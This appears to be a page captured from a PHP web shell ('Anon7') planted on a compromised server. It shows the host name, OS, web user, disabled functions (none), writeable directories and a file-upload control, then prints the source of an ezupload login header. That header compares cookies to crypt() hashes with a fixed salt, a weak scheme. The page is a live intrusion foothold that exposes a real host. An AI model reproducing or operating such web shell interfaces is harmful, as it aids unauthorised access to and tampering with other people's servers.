KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/ezupload/cp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/ezupload/cp/public_header.php
<?php 
error_reporting(E_ERROR  | E_PARSE);

include_once("db.class.php");
include_once("upload_backup.php");

$sysdt= date('Y-m-d',time());
$sysdtonly= date('Y-m-d-H-i-s');

$access_control=new access_control();
$temp=$access_control->get();

$formprotect=$temp[0]->formprotect;
$formpass=$temp[0]->formpass;
$takeip=$temp[0]->takeip;
$banned_ips=$temp[0]->banned_ips;





if( $formprotect == "user" )
{
	if($_COOKIE["PU"] == "" || $_COOKIE["PP"]== "" )
	{	
		header("location: public_login.php");				
		exit;	
	}

	$user=new user();
	$temp=$user->get($_COOKIE["PU"]);

	$name=$temp[0]->name;
	$pass=$temp[0]->pass1;

	if($_COOKIE["PP"] != crypt($pass,"AF") )
	{ 		
		header("location: public_login.php");				
		exit;	
	}

}

if( $formprotect == "pass" )
{
	if( $_COOKIE["PP"]== "" )
	{	
		header("location: public_login.php");				
		exit;	
	}
	if( $_COOKIE["PP"] != crypt($formpass,"AF") )
	{ 		
		header("location: public_login.php");				
		exit;	
	}

}

//Allow no cache to the browser//
header( "Cache-Control: no-cache, must-revalidate" );
header( "Pragma: no-cache" );

?>

Anon7 - 2021